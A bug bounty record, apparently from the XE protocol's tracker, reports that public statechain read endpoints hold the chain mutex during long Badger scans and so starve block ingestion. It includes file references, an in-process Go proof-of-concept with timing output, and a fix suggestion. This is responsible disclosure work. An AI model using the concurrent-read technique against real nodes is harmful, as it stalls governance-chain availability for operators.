{"id":"XE-0861","kind":"bounty","visibility":"public","source":"github","source_repo":"xeprotocol/xe","source_ref":"284","source_url":"https://github.com/xeprotocol/xe/issues/284","reporter_id":235,"title":"statechain/api: public read path holds Chain.mu across the Badger range scan, starving AddBlock ingestion (Medium)","area":"dao-harness","claimed_tier":"medium","assessed_tier":null,"verdict":null,"duplicate_of":null,"tracked":false,"internal_ref":"","internal_url":null,"status":"triaging","closed_reason":null,"github_state":"open","disclosed_at":null,"award_xe":null,"award_approved":false,"paid_ref":"","created_at":"2026-11-06T10:26:15.270246+00:00","updated_at":"2026-11-18T13:41:14.362585+00:00","source_created_at":"2026-11-06T10:24:16+00:00","told_at":"2026-11-06T21:35:13+00:00","status_changed_at":"2026-11-06T21:35:02.573614+00:00","url":"https://bounty.xe.network/XE-0861","body":"## Summary\nThe public statechain read endpoints hold the single non-reentrant `Chain.mu` write lock across the entire Badger range scan. `GET /statechain/blocks?start=N&limit=M` (limit capped at 1,000) calls `Chain.GetBlocks`, which takes `c.mu.Lock()` and, while still holding it, runs `store.GetStateBlockRange` — a Badger iterator that JSON-unmarshals up to 1,000 blocks (each up to `MaxBlockSize` = 256 KiB, i.e. ~256 MiB of decode per request). `AddBlock` — the only ingestion path for gossip, sync, and locally submitted statechain blocks — needs the same lock. A handful of concurrent in-range reads, entirely within the nominal 200/s / 1,000-burst read limiter, pin the lock and starve statechain ingestion (DAO and oracle block landing, gap-resync) on the affected node.\n\n## Affected component\n- `statechain/chain.go:15` — `mu sync.Mutex` (the chain's only lock; not an `RWMutex`).\n- `statechain/chain.go:278-293` — `GetBlocks`: `c.mu.Lock(); defer c.mu.Unlock()` then `c.store.GetStateBlockRange(start, limit)` inside the locked region.\n- `statechain/chain.go:269-276` (`GetBlock`) and `:295-303` (`BlockCount`) — same pattern; `handleStateChainBlocks` calls both per request (the response also includes `block_count`).\n- `statechain/chain.go:106-111` — `AddBlock` takes the same `c.mu` before any validation, so even rejected submits queue behind in-flight reads.\n- `store/badger_store.go:1800-1822` — `GetStateBlockRange` does the real disk + `json.Unmarshal` work per item.\n- `api/handler.go:204-208` — routes `GET /statechain/blocks`, `/statechain/blocks/{index}`, `/statechain/kv`, `/statechain/kv/{key...}` are public (no admin token); `handleStateChainBlocks` (`api/handler.go`, limit clamp `if limit > 1000 { limit = 1000 }`, `start` unbounded).\n- `api/handler.go:296` — `readRate, readBurst = 200, 1000`: one client may hold up to 1,000 in-flight range reads at once without any XFF trickery.\n- `statechain/chain.go:305-320` — `GetKV` / `GetKVByPrefix` / `GetAllKV` hold the same lock for the in-memory KV dump served by `GET /statechain/kv` (same class, smaller payload).\n- Verified at repo commit `02e9641`.\n\n## Impact\nOne unauthenticated client holding a few concurrent `GET /statechain/blocks?start=1&limit=1000` requests (or `GET /statechain/kv`) keeps `Chain.mu` pinned for the duration of the scans; every `AddBlock` — including validly 2-of-3-signed DAO and oracle blocks arriving via gossip/sync and locally submitted blocks — blocks on the same mutex until the reads drain. Statechain tip progress, KV state, and gap-resync stall for the cumulative read time. This is an application-layer lock-scope defect on the governance statechain, not hosting-layer volumetric DDoS, and it works fully within the shipped rate limits. Default `--api-bind 127.0.0.1` limits reachability to loopback / fronting-proxy clients, same reachability class as the accepted rate-limiter findings (#168/#255/#172); nodes that expose the API (proxy, `0.0.0.0`) are directly exposed. No fund loss; availability of governance-chain progress per node, scaling with chain length.\n\nSuggested severity: Medium.\n\n## PoC\nIn-process, no repo modification, no signatures. A separate module with `replace github.com/xeprotocol/xe => ../repo` (clone the repo as a sibling `repo` directory):\n\n`go.mod`:\n```\nmodule xpoc\ngo 1.25.0\nrequire github.com/xeprotocol/xe v0.0.0\nreplace github.com/xeprotocol/xe => ../repo\n```\n\n`main.go`:\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"time\"\n\n\t\"github.com/xeprotocol/xe/statechain\"\n\t\"github.com/xeprotocol/xe/store\"\n)\n\nconst numBlocks = 1000\nconst blockPayload = 160 * 1024\n\n// A block that fails VerifyBlockHash fast — but it still needs Chain.mu to\n// start, so its duration measures lock-wait + cheap validation.\nfunc rejectBlock() *statechain.Block {\n\treturn &statechain.Block{\n\t\tIndex: 0, PrevHash: \"\",\n\t\tOps:        []statechain.Op{{Action: \"set\", Key: \"k\", Value: []byte(`\"v\"`)}},\n\t\tSignatures: []statechain.BlockSignature{},\n\t\tHash:       \"bogus\", Timestamp: time.Now().UnixNano(),\n\t}\n}\n\nfunc timeAddBlock(c *statechain.Chain, n int) (avg, max time.Duration) {\n\tvar tot time.Duration\n\tfor i := 0; i < n; i++ {\n\t\tstart := time.Now()\n\t\t_ = c.AddBlock(rejectBlock())\n\t\td := time.Since(start)\n\t\ttot += d\n\t\tif d > max { max = d }\n\t}\n\treturn tot / time.Duration(n), max\n}\n\nfunc main() {\n\tdir, _ := os.MkdirTemp(\"\", \"xpoc-\")\n\tdefer os.RemoveAll(dir)\n\tst, err := store.NewBadgerStore(filepath.Join(dir, \"db\"))\n\tif err != nil { panic(err) }\n\tg, err := statechain.ParseGenesis(statechain.GenesisJSON())\n\tif err != nil { panic(err) }\n\tc, err := statechain.NewChain(st, g)\n\tif err != nil { fmt.Println(\"NewChain failed:\", err); os.Exit(1) }\n\n\t// Seed 1,000 realistic-size blocks directly at the store layer\n\t// (data volume only; AddBlock validation is not part of the probe).\n\tbig := make([]byte, blockPayload)\n\tfor i := range big { big[i] = byte('a' + i%26) }\n\tjsonBig := append(append([]byte{'\"'}, big...), '\"')\n\tfor i := uint64(1); i <= numBlocks; i++ {\n\t\tb := &statechain.Block{\n\t\t\tIndex: i, PrevHash: fmt.Sprintf(\"%064x\", i-1),\n\t\t\tOps:        []statechain.Op{{Action: \"set\", Key: fmt.Sprintf(\"kv-%d\", i), Value: jsonBig}},\n\t\t\tSignatures: []statechain.BlockSignature{},\n\t\t\tHash: fmt.Sprintf(\"%064x\", i), Timestamp: int64(i),\n\t\t}\n\t\tif err := st.PutStateBlock(b); err != nil { panic(err) }\n\t}\n\tfmt.Printf(\"seeded %d blocks x %d KiB into badger\\n\", numBlocks, blockPayload/1024)\n\n\tstart := time.Now()\n\t_, _ = c.GetBlocks(1, numBlocks)\n\tscanDur := time.Since(start)\n\tfmt.Printf(\"single GetBlocks(1,%d) under lock: %v\\n\", numBlocks, scanDur)\n\n\tfmt.Println(\"phase A: baseline AddBlock (no readers) ...\")\n\tavgA, _ := timeAddBlock(c, 200)\n\tfmt.Printf(\"  avg=%v\\n\", avgA)\n\n\tconst readers = 8\n\tvar stop atomic.Bool\n\tvar wg sync.WaitGroup\n\tfor i := 0; i < readers; i++ {\n\t\twg.Add(1)\n\t\tgo func() { defer wg.Done(); for !stop.Load() { _, _ = c.GetBlocks(1, numBlocks) } }()\n\t}\n\ttime.Sleep(scanDur * 2)\n\tfmt.Println(\"phase B: AddBlock under 8 concurrent GetBlocks(1,1000) readers ...\")\n\tavgB, maxB := timeAddBlock(c, 15)\n\tstop.Store(true)\n\twg.Wait()\n\tfmt.Printf(\"  avg=%v max=%v\\n\", avgB, maxB)\n\tfmt.Printf(\"RESULT: avg AddBlock baseline=%v vs loaded=%v (x%.0f slower)\\n\",\n\t\tavgA, avgB, float64(avgB)/float64(avgA))\n}\n```\n\nRun: `go mod tidy && go build -o poc . && ./poc`\n\nReal output (x86, badger v4, 1,000 x 160 KiB blocks):\n```\nseeded 1000 blocks x 160 KiB into badger\nsingle GetBlocks(1,1000) under lock: 539.304134ms (err=<nil>)\nphase A: baseline AddBlock (no readers) ...\n  avg=1.2µs max=18.699µs\nphase B: AddBlock under 8 concurrent GetBlocks(1,1000) readers ...\n  avg=3.246345428s max=3.590561203s\nRESULT: avg AddBlock baseline=1.2µs vs loaded=3.246345428s (x2705288 slower)\n```\n\nThe reader goroutines here scan faster than any HTTP client could (the rate limiter caps a real client at 200/s, 1,000 burst); the point the probe demonstrates is that a single in-flight range read holds `Chain.mu` for ~540 ms on this hardware, so even a small number of in-rate-limit concurrent reads keeps the ingestion path blocked the whole time. The HTTP path adds `GetStateChainBlockCount` (another `c.mu` + Badger round-trip) per request via `handleStateChainBlocks`.\n\n## Dedup notes\n- Distinct from XE-0120 / #8 finding 4 (both are the P2P `/xe/statechain-sync` endpoint: byte-cap mismatch and nil-block crash) and XE-0532 (`AddBlock` silently drops out-of-order blocks — write path). None of them concerns the HTTP read path holding `Chain.mu` across a store scan.\n- Aware of #170 (\"Volume test pre-notice #2: bounded starvation + resource-exhaustion measurement\"), which lists large `/statechain/kv` reads as a planned measurement track with no results posted and no root cause identified. This issue documents the specific lock-scope defect and a minimal in-process proof, independent of any live-testnet campaign; happy to coordinate if that campaign exercises the same surface.\n- Fix direction: shorten the critical section (snapshot what is needed under the lock, run the Badger scan outside it), or make `mu` an `RWMutex` so reads stop excluding the writer — `AddBlock` is the only mutator of the in-memory chain state, so read-read concurrency is safe.\n","patch_refs":[{"id":308,"repo":"xeprotocol/xe","kind":"pr","ref":"285","title":"statechain: eliminate mutex contention on public read endpoints","url":"https://github.com/xeprotocol/xe/pull/285","note":"","state":"open","author":"tipprb","added_by":"desk","created_at":"2026-11-06T12:13:51.546707+00:00"}],"thread":[{"id":677,"source":"github","source_ref":"6696256727","author":"Joseph Denne","team":true,"body":"Thanks for the report. We have read it against the code and it is being handled. This ticket is updated when the fix lands, and the assessment and any award follow the fix. https://bounty.xe.network/XE-0861","created_at":"2026-11-06T21:35:13+00:00"},{"id":11922,"source":"web","source_ref":"reporter:235:d064117bc927ea7e","author":"Mabera","team":false,"body":"Hi team. No update on this report to date?","created_at":"2026-11-18T13:41:14.342238+00:00"}]}